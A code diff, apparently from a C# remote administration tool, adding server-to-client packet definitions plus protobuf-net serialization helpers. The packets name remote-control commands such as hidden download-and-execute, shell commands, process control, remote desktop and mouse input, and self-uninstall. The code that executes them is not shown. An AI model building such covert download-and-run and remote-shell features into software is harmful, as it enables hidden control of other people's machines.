|
||||
public int Mode { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public int Number { get; set; }
|
||||
|
||||
public Desktop() { }
|
||||
public Desktop(int mode, int number)
|
||||
{
|
||||
this.Mode = mode;
|
||||
this.Number = number;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Desktop>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Directory : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string RemotePath { get; set; }
|
||||
|
||||
public Directory() { }
|
||||
public Directory(string remotepath)
|
||||
{
|
||||
this.RemotePath = remotepath;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Directory>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Disconnect : IPacket
|
||||
{
|
||||
public Disconnect() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Disconnect>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class DownloadAndExecute : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string URL { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public bool RunHidden { get; set; }
|
||||
|
||||
public DownloadAndExecute() { }
|
||||
public DownloadAndExecute(string url, bool runhidden)
|
||||
{
|
||||
this.URL = url;
|
||||
this.RunHidden = runhidden;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<DownloadAndExecute>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class DownloadFile : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string RemotePath { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public int ID { get; set; }
|
||||
|
||||
public DownloadFile() { }
|
||||
public DownloadFile(string remotepath, int id)
|
||||
{
|
||||
this.RemotePath = remotepath;
|
||||
this.ID = id;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<DownloadFile>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Drives : IPacket
|
||||
{
|
||||
public Drives() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Drives>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class GetProcesses : IPacket
|
||||
{
|
||||
public GetProcesses() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<GetProcesses>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class GetSystemInfo : IPacket
|
||||
{
|
||||
public GetSystemInfo() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<GetSystemInfo>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class KillProcess : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public int PID { get; set; }
|
||||
|
||||
public KillProcess() { }
|
||||
public KillProcess(int pid)
|
||||
{
|
||||
this.PID = pid;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<KillProcess>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Monitors : IPacket
|
||||
{
|
||||
public Monitors() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Monitors>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,34 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class MouseClick : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public bool LeftClick { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public bool DoubleClick { get; set; }
|
||||
|
||||
[ProtoMember(3)]
|
||||
public int X { get; set; }
|
||||
|
||||
[ProtoMember(4)]
|
||||
public int Y { get; set; }
|
||||
|
||||
public MouseClick() { }
|
||||
public MouseClick(bool leftclick, bool doubleclick, int x, int y)
|
||||
{
|
||||
this.LeftClick = leftclick;
|
||||
this.DoubleClick = doubleclick;
|
||||
this.X = x;
|
||||
this.Y = y;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<MouseClick>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Reconnect : IPacket
|
||||
{
|
||||
public Reconnect() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Reconnect>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class ShellCommand : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string Command { get; set; }
|
||||
|
||||
public ShellCommand() { }
|
||||
public ShellCommand(string command)
|
||||
{
|
||||
this.Command = command;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<ShellCommand>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,34 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class ShowMessageBox : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string Caption { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public string Text { get; set; }
|
||||
|
||||
[ProtoMember(3)]
|
||||
public string MessageboxButton { get; set; }
|
||||
|
||||
[ProtoMember(4)]
|
||||
public string MessageboxIcon { get; set; }
|
||||
|
||||
public ShowMessageBox() { }
|
||||
public ShowMessageBox(string caption, string text, string messageboxbutton, string messageboxicon)
|
||||
{
|
||||
this.Caption = caption;
|
||||
this.Text = text;
|
||||
this.MessageboxButton = messageboxbutton;
|
||||
this.MessageboxIcon = messageboxicon;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<ShowMessageBox>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class StartProcess : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string Processname { get; set; }
|
||||
|
||||
public StartProcess() { }
|
||||
public StartProcess(string processname)
|
||||
{
|
||||
this.Processname = processname;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<StartProcess>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Uninstall : IPacket
|
||||
{
|
||||
public Uninstall() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Uninstall>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Update : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string DownloadURL { get; set; }
|
||||
|
||||
public Update() { }
|
||||
public Update(string downloadurl)
|
||||
{
|
||||
this.DownloadURL = downloadurl;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Update>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class VisitWebsite : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string URL { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public bool Hidden { get; set; }
|
||||
|
||||
public VisitWebsite() { }
|
||||
public VisitWebsite(string url, bool hidden)
|
||||
{
|
||||
this.URL = url;
|
||||
this.Hidden = hidden;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<VisitWebsite>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
using ProtoBuf;
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class InitializeCommand : IPacket
|
||||
{
|
||||
public InitializeCommand() { }
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<InitializeCommand>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using Core.Packets;
|
||||
using ProtoBuf;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
internal class KeepAlive : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public DateTime TimeSent { get; private set; }
|
||||
|
||||
public Client Client;
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
TimeSent = DateTime.Now;
|
||||
Client = client;
|
||||
client.Send<KeepAlive>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
using Core.Packets;
|
||||
using ProtoBuf;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class UnknownPacket : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public IPacket Packet { get; set; }
|
||||
|
||||
public UnknownPacket() { }
|
||||
public UnknownPacket(IPacket packet) { Packet = packet; }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<UnknownPacket>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,544 @@
|
|||
using System;
|
||||
using System.Reflection;
|
||||
namespace ProtoBuf
|
||||
{
|
||||
internal enum TimeSpanScale
|
||||
{
|
||||
Days = 0,
|
||||
Hours = 1,
|
||||
Minutes = 2,
|
||||
Seconds = 3,
|
||||
Milliseconds = 4,
|
||||
Ticks = 5,
|
||||
|
||||
MinMax = 15
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Provides support for common .NET types that do not have a direct representation
|
||||
/// in protobuf, using the definitions from bcl.proto
|
||||
/// </summary>
|
||||
public
|
||||
#if FX11
|
||||
sealed
|
||||
#else
|
||||
static
|
||||
#endif
|
||||
class BclHelpers
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates a new instance of the specified type, bypassing the constructor.
|
||||
/// </summary>
|
||||
/// <param name="type">The type to create</param>
|
||||
/// <returns>The new instance</returns>
|
||||
/// <exception cref="NotSupportedException">If the platform does not support constructor-skipping</exception>
|
||||
public static object GetUninitializedObject(Type type)
|
||||
{
|
||||
#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8)
|
||||
return System.Runtime.Serialization.FormatterServices.GetUninitializedObject(type);
|
||||
#else
|
||||
throw new NotSupportedException("Constructor-skipping is not supported on this platform");
|
||||
#endif
|
||||
}
|
||||
#if FX11
|
||||
private BclHelpers() { } // not a static class for C# 1.2 reasons
|
||||
#endif
|
||||
const int FieldTimeSpanValue = 0x01, FieldTimeSpanScale = 0x02;
|
||||
|
||||
internal static readonly DateTime EpochOrigin = new DateTime(1970, 1, 1, 0, 0, 0, 0);
|
||||
|
||||
/// <summary>
|
||||
/// Writes a TimeSpan to a protobuf stream
|
||||
/// </summary>
|
||||
public static void WriteTimeSpan(TimeSpan timeSpan, ProtoWriter dest)
|
||||
{
|
||||
long value;
|
||||
switch(dest.WireType)
|
||||
{
|
||||
case WireType.String:
|
||||
case WireType.StartGroup:
|
||||
TimeSpanScale scale;
|
||||
value = timeSpan.Ticks;
|
||||
if (timeSpan == TimeSpan.MaxValue)
|
||||
{
|
||||
value = 1;
|
||||
scale = TimeSpanScale.MinMax;
|
||||
}
|
||||
else if (timeSpan == TimeSpan.MinValue)
|
||||
{
|
||||
value = -1;
|
||||
scale = TimeSpanScale.MinMax;
|
||||
}
|
||||
else if (value % TimeSpan.TicksPerDay == 0)
|
||||
{
|
||||
scale = TimeSpanScale.Days;
|
||||
value /= TimeSpan.TicksPerDay;
|
||||
}
|
||||
else if (value % TimeSpan.TicksPerHour == 0)
|
||||
{
|
||||
scale = TimeSpanScale.Hours;
|
||||
value /= TimeSpan.TicksPerHour;
|
||||
}
|
||||
else if (value % TimeSpan.TicksPerMinute == 0)
|
||||
{
|
||||
scale = TimeSpanScale.Minutes;
|
||||
value /= TimeSpan.TicksPerMinute;
|
||||
}
|
||||
else if (value % TimeSpan.TicksPerSecond == 0)
|
||||
{
|
||||
scale = TimeSpanScale.Seconds;
|
||||
value /= TimeSpan.TicksPerSecond;
|
||||
}
|
||||
else if (value % TimeSpan.TicksPerMillisecond == 0)
|
||||
{
|
||||
scale = TimeSpanScale.Milliseconds;
|
||||
value /= TimeSpan.TicksPerMillisecond;
|
||||
}
|
||||
else
|
||||
{
|
||||
scale = TimeSpanScale.Ticks;
|
||||
}
|
||||
|
||||
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
|
||||
|
||||
if(value != 0) {
|
||||
ProtoWriter.WriteFieldHeader(FieldTimeSpanValue, WireType.SignedVariant, dest);
|
||||
ProtoWriter.WriteInt64(value, dest);
|
||||
}
|
||||
if(scale != TimeSpanScale.Days) {
|
||||
ProtoWriter.WriteFieldHeader(FieldTimeSpanScale, WireType.Variant, dest);
|
||||
ProtoWriter.WriteInt32((int)scale, dest);
|
||||
}
|
||||
ProtoWriter.EndSubItem(token, dest);
|
||||
break;
|
||||
case WireType.Fixed64:
|
||||
ProtoWriter.WriteInt64(timeSpan.Ticks, dest);
|
||||
break;
|
||||
default:
|
||||
throw new ProtoException("Unexpected wire-type: " + dest.WireType.ToString());
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Parses a TimeSpan from a protobuf stream
|
||||
/// </summary>
|
||||
public static TimeSpan ReadTimeSpan(ProtoReader source)
|
||||
{
|
||||
long ticks = ReadTimeSpanTicks(source);
|
||||
if (ticks == long.MinValue) return TimeSpan.MinValue;
|
||||
if (ticks == long.MaxValue) return TimeSpan.MaxValue;
|
||||
return TimeSpan.FromTicks(ticks);
|
||||
}
|
||||
/// <summary>
|
||||
/// Parses a DateTime from a protobuf stream
|
||||
/// </summary>
|
||||
public static DateTime ReadDateTime(ProtoReader source)
|
||||
{
|
||||
long ticks = ReadTimeSpanTicks(source);
|
||||
if (ticks == long.MinValue) return DateTime.MinValue;
|
||||
if (ticks == long.MaxValue) return DateTime.MaxValue;
|
||||
return EpochOrigin.AddTicks(ticks);
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes a DateTime to a protobuf stream
|
||||
/// </summary>
|
||||
public static void WriteDateTime(DateTime value, ProtoWriter dest)
|
||||
{
|
||||
TimeSpan delta;
|
||||
switch (dest.WireType)
|
||||
{
|
||||
case WireType.StartGroup:
|
||||
case WireType.String:
|
||||
if (value == DateTime.MaxValue)
|
||||
{
|
||||
delta = TimeSpan.MaxValue;
|
||||
}
|
||||
else if (value == DateTime.MinValue)
|
||||
{
|
||||
delta = TimeSpan.MinValue;
|
||||
}
|
||||
else
|
||||
{
|
||||
delta = value - EpochOrigin;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
delta = value - EpochOrigin;
|
||||
break;
|
||||
}
|
||||
WriteTimeSpan(delta, dest);
|
||||
}
|
||||
|
||||
private static long ReadTimeSpanTicks(ProtoReader source) {
|
||||
switch (source.WireType)
|
||||
{
|
||||
case WireType.String:
|
||||
case WireType.StartGroup:
|
||||
SubItemToken token = ProtoReader.StartSubItem(source);
|
||||
int fieldNumber;
|
||||
TimeSpanScale scale = TimeSpanScale.Days;
|
||||
long value = 0;
|
||||
while ((fieldNumber = source.ReadFieldHeader()) > 0)
|
||||
{
|
||||
switch (fieldNumber)
|
||||
{
|
||||
case FieldTimeSpanScale:
|
||||
scale = (TimeSpanScale)source.ReadInt32();
|
||||
break;
|
||||
case FieldTimeSpanValue:
|
||||
source.Assert(WireType.SignedVariant);
|
||||
value = source.ReadInt64();
|
||||
break;
|
||||
default:
|
||||
source.SkipField();
|
||||
break;
|
||||
}
|
||||
}
|
||||
ProtoReader.EndSubItem(token, source);
|
||||
switch (scale)
|
||||
{
|
||||
case TimeSpanScale.Days:
|
||||
return value * TimeSpan.TicksPerDay;
|
||||
case TimeSpanScale.Hours:
|
||||
return value * TimeSpan.TicksPerHour;
|
||||
case TimeSpanScale.Minutes:
|
||||
return value * TimeSpan.TicksPerMinute;
|
||||
case TimeSpanScale.Seconds:
|
||||
return value * TimeSpan.TicksPerSecond;
|
||||
case TimeSpanScale.Milliseconds:
|
||||
return value * TimeSpan.TicksPerMillisecond;
|
||||
case TimeSpanScale.Ticks:
|
||||
return value;
|
||||
case TimeSpanScale.MinMax:
|
||||
switch (value)
|
||||
{
|
||||
case 1: return long.MaxValue;
|
||||
case -1: return long.MinValue;
|
||||
default: throw new ProtoException("Unknown min/max value: " + value.ToString());
|
||||
}
|
||||
default:
|
||||
throw new ProtoException("Unknown timescale: " + scale.ToString());
|
||||
}
|
||||
case WireType.Fixed64:
|
||||
return source.ReadInt64();
|
||||
default:
|
||||
throw new ProtoException("Unexpected wire-type: " + source.WireType.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
const int FieldDecimalLow = 0x01, FieldDecimalHigh = 0x02, FieldDecimalSignScale = 0x03;
|
||||
|
||||
/// <summary>
|
||||
/// Parses a decimal from a protobuf stream
|
||||
/// </summary>
|
||||
public static decimal ReadDecimal(ProtoReader reader)
|
||||
{
|
||||
ulong low = 0;
|
||||
uint high = 0;
|
||||
uint signScale = 0;
|
||||
|
||||
int fieldNumber;
|
||||
SubItemToken token = ProtoReader.StartSubItem(reader);
|
||||
while ((fieldNumber = reader.ReadFieldHeader()) > 0)
|
||||
{
|
||||
switch (fieldNumber)
|
||||
{
|
||||
case FieldDecimalLow: low = reader.ReadUInt64(); break;
|
||||
case FieldDecimalHigh: high = reader.ReadUInt32(); break;
|
||||
case FieldDecimalSignScale: signScale = reader.ReadUInt32(); break;
|
||||
default: reader.SkipField(); break;
|
||||
}
|
||||
|
||||
}
|
||||
ProtoReader.EndSubItem(token, reader);
|
||||
|
||||
if (low == 0 && high == 0) return decimal.Zero;
|
||||
|
||||
int lo = (int)(low & 0xFFFFFFFFL),
|
||||
mid = (int)((low >> 32) & 0xFFFFFFFFL),
|
||||
hi = (int)high;
|
||||
bool isNeg = (signScale & 0x0001) == 0x0001;
|
||||
byte scale = (byte)((signScale & 0x01FE) >> 1);
|
||||
return new decimal(lo, mid, hi, isNeg, scale);
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes a decimal to a protobuf stream
|
||||
/// </summary>
|
||||
public static void WriteDecimal(decimal value, ProtoWriter writer)
|
||||
{
|
||||
int[] bits = decimal.GetBits(value);
|
||||
ulong a = ((ulong)bits[1]) << 32, b = ((ulong)bits[0]) & 0xFFFFFFFFL;
|
||||
ulong low = a | b;
|
||||
uint high = (uint)bits[2];
|
||||
uint signScale = (uint)(((bits[3] >> 15) & 0x01FE) | ((bits[3] >> 31) & 0x0001));
|
||||
|
||||
SubItemToken token = ProtoWriter.StartSubItem(null, writer);
|
||||
if (low != 0) {
|
||||
ProtoWriter.WriteFieldHeader(FieldDecimalLow, WireType.Variant, writer);
|
||||
ProtoWriter.WriteUInt64(low, writer);
|
||||
}
|
||||
if (high != 0)
|
||||
{
|
||||
ProtoWriter.WriteFieldHeader(FieldDecimalHigh, WireType.Variant, writer);
|
||||
ProtoWriter.WriteUInt32(high, writer);
|
||||
}
|
||||
if (signScale != 0)
|
||||
{
|
||||
ProtoWriter.WriteFieldHeader(FieldDecimalSignScale, WireType.Variant, writer);
|
||||
ProtoWriter.WriteUInt32(signScale, writer);
|
||||
}
|
||||
ProtoWriter.EndSubItem(token, writer);
|
||||
}
|
||||
|
||||
const int FieldGuidLow = 1, FieldGuidHigh = 2;
|
||||
/// <summary>
|
||||
/// Writes a Guid to a protobuf stream
|
||||
/// </summary>
|
||||
public static void WriteGuid(Guid value, ProtoWriter dest)
|
||||
{
|
||||
byte[] blob = value.ToByteArray();
|
||||
|
||||
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
|
||||
if (value != Guid.Empty)
|
||||
{
|
||||
ProtoWriter.WriteFieldHeader(FieldGuidLow, WireType.Fixed64, dest);
|
||||
ProtoWriter.WriteBytes(blob, 0, 8, dest);
|
||||
ProtoWriter.WriteFieldHeader(FieldGuidHigh, WireType.Fixed64, dest);
|
||||
ProtoWriter.WriteBytes(blob, 8, 8, dest);
|
||||
}
|
||||
ProtoWriter.EndSubItem(token, dest);
|
||||
}
|
||||
/// <summary>
|
||||
/// Parses a Guid from a protobuf stream
|
||||
/// </summary>
|
||||
public static Guid ReadGuid(ProtoReader source)
|
||||
{
|
||||
ulong low = 0, high = 0;
|
||||
int fieldNumber;
|
||||
SubItemToken token = ProtoReader.StartSubItem(source);
|
||||
while ((fieldNumber = source.ReadFieldHeader()) > 0)
|
||||
{
|
||||
switch (fieldNumber)
|
||||
{
|
||||
case FieldGuidLow: low = source.ReadUInt64(); break;
|
||||
case FieldGuidHigh: high = source.ReadUInt64(); break;
|
||||
default: source.SkipField(); break;
|
||||
}
|
||||
}
|
||||
ProtoReader.EndSubItem(token, source);
|
||||
if(low == 0 && high == 0) return Guid.Empty;
|
||||
uint a = (uint)(low >> 32), b = (uint)low, c = (uint)(high >> 32), d= (uint)high;
|
||||
return new Guid((int)b, (short)a, (short)(a >> 16),
|
||||
(byte)d, (byte)(d >> 8), (byte)(d >> 16), (byte)(d >> 24),
|
||||
(byte)c, (byte)(c >> 8), (byte)(c >> 16), (byte)(c >> 24));
|
||||
|
||||
}
|
||||
|
||||
|
||||
private const int
|
||||
FieldExistingObjectKey = 1,
|
||||
FieldNewObjectKey = 2,
|
||||
FieldExistingTypeKey = 3,
|
||||
FieldNewTypeKey = 4,
|
||||
FieldTypeName = 8,
|
||||
FieldObject = 10;
|
||||
/// <summary>
|
||||
/// Optional behaviours that introduce .NET-specific functionality
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum NetObjectOptions : byte
|
||||
{
|
||||
/// <summary>
|
||||
/// No special behaviour
|
||||
/// </summary>
|
||||
None = 0,
|
||||
/// <summary>
|
||||
/// Enables full object-tracking/full-graph support.
|
||||
/// </summary>
|
||||
AsReference = 1,
|
||||
/// <summary>
|
||||
/// Embeds the type information into the stream, allowing usage with types not known in advance.
|
||||
/// </summary>
|
||||
DynamicType = 2,
|
||||
/// <summary>
|
||||
/// If false, the constructor for the type is bypassed during deserialization, meaning any field initializers
|
||||
/// or other initialization code is skipped.
|
||||
/// </summary>
|
||||
UseConstructor = 4,
|
||||
/// <summary>
|
||||
/// Should the object index be reserved, rather than creating an object promptly
|
||||
/// </summary>
|
||||
LateSet = 8
|
||||
}
|
||||
/// <summary>
|
||||
/// Reads an *implementation specific* bundled .NET object, including (as options) type-metadata, identity/re-use, etc.
|
||||
/// </summary>
|
||||
public static object ReadNetObject(object value, ProtoReader source, int key, Type type, NetObjectOptions options)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
throw new NotSupportedException();
|
||||
#else
|
||||
SubItemToken token = ProtoReader.StartSubItem(source);
|
||||
int fieldNumber;
|
||||
int newObjectKey = -1, newTypeKey = -1, tmp;
|
||||
while ((fieldNumber = source.ReadFieldHeader()) > 0)
|
||||
{
|
||||
switch (fieldNumber)
|
||||
{
|
||||
case FieldExistingObjectKey:
|
||||
tmp = source.ReadInt32();
|
||||
value = source.NetCache.GetKeyedObject(tmp);
|
||||
break;
|
||||
case FieldNewObjectKey:
|
||||
newObjectKey = source.ReadInt32();
|
||||
break;
|
||||
case FieldExistingTypeKey:
|
||||
tmp = source.ReadInt32();
|
||||
type = (Type)source.NetCache.GetKeyedObject(tmp);
|
||||
key = source.GetTypeKey(ref type);
|
||||
break;
|
||||
case FieldNewTypeKey:
|
||||
newTypeKey = source.ReadInt32();
|
||||
break;
|
||||
case FieldTypeName:
|
||||
string typeName = source.ReadString();
|
||||
type = source.DeserializeType(typeName);
|
||||
if(type == null)
|
||||
{
|
||||
throw new ProtoException("Unable to resolve type: " + typeName + " (you can use the TypeModel.DynamicTypeFormatting event to provide a custom mapping)");
|
||||
}
|
||||
if (type == typeof(string))
|
||||
{
|
||||
key = -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
key = source.GetTypeKey(ref type);
|
||||
if (key < 0)
|
||||
throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name);
|
||||
}
|
||||
break;
|
||||
case FieldObject:
|
||||
bool isString = type == typeof(string);
|
||||
bool wasNull = value == null;
|
||||
bool lateSet = wasNull && (isString || ((options & NetObjectOptions.LateSet) != 0));
|
||||
|
||||
if (newObjectKey >= 0 && !lateSet)
|
||||
{
|
||||
if (value == null)
|
||||
{
|
||||
source.TrapNextObject(newObjectKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
source.NetCache.SetKeyedObject(newObjectKey, value);
|
||||
}
|
||||
if (newTypeKey >= 0) source.NetCache.SetKeyedObject(newTypeKey, type);
|
||||
}
|
||||
object oldValue = value;
|
||||
if (isString)
|
||||
{
|
||||
value = source.ReadString();
|
||||
}
|
||||
else
|
||||
{
|
||||
value = ProtoReader.ReadTypedObject(oldValue, key, source, type);
|
||||
}
|
||||
|
||||
if (newObjectKey >= 0)
|
||||
{
|
||||
if(wasNull && !lateSet)
|
||||
{ // this both ensures (via exception) that it *was* set, and makes sure we don't shout
|
||||
// about changed references
|
||||
oldValue = source.NetCache.GetKeyedObject(newObjectKey);
|
||||
}
|
||||
if (lateSet)
|
||||
{
|
||||
source.NetCache.SetKeyedObject(newObjectKey, value);
|
||||
if (newTypeKey >= 0) source.NetCache.SetKeyedObject(newTypeKey, type);
|
||||
}
|
||||
}
|
||||
if (newObjectKey >= 0 && !lateSet && !ReferenceEquals(oldValue, value))
|
||||
{
|
||||
throw new ProtoException("A reference-tracked object changed reference during deserialization");
|
||||
}
|
||||
if (newObjectKey < 0 && newTypeKey >= 0)
|
||||
{ // have a new type, but not a new object
|
||||
source.NetCache.SetKeyedObject(newTypeKey, type);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
source.SkipField();
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(newObjectKey >= 0 && (options & NetObjectOptions.AsReference) == 0)
|
||||
{
|
||||
throw new ProtoException("Object key in input stream, but reference-tracking was not expected");
|
||||
}
|
||||
ProtoReader.EndSubItem(token, source);
|
||||
|
||||
return value;
|
||||
#endif
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes an *implementation specific* bundled .NET object, including (as options) type-metadata, identity/re-use, etc.
|
||||
/// </summary>
|
||||
public static void WriteNetObject(object value, ProtoWriter dest, int key, NetObjectOptions options)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
throw new NotSupportedException();
|
||||
#else
|
||||
Helpers.DebugAssert(value != null);
|
||||
bool dynamicType = (options & NetObjectOptions.DynamicType) != 0,
|
||||
asReference = (options & NetObjectOptions.AsReference) != 0;
|
||||
WireType wireType = dest.WireType;
|
||||
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
|
||||
bool writeObject = true;
|
||||
if (asReference)
|
||||
{
|
||||
bool existing;
|
||||
int objectKey = dest.NetCache.AddObjectKey(value, out existing);
|
||||
ProtoWriter.WriteFieldHeader(existing ? FieldExistingObjectKey : FieldNewObjectKey, WireType.Variant, dest);
|
||||
ProtoWriter.WriteInt32(objectKey, dest);
|
||||
if (existing)
|
||||
{
|
||||
writeObject = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (writeObject)
|
||||
{
|
||||
if (dynamicType)
|
||||
{
|
||||
bool existing;
|
||||
Type type = value.GetType();
|
||||
|
||||
if (!(value is string))
|
||||
{
|
||||
key = dest.GetTypeKey(ref type);
|
||||
if (key < 0) throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name);
|
||||
}
|
||||
int typeKey = dest.NetCache.AddObjectKey(type, out existing);
|
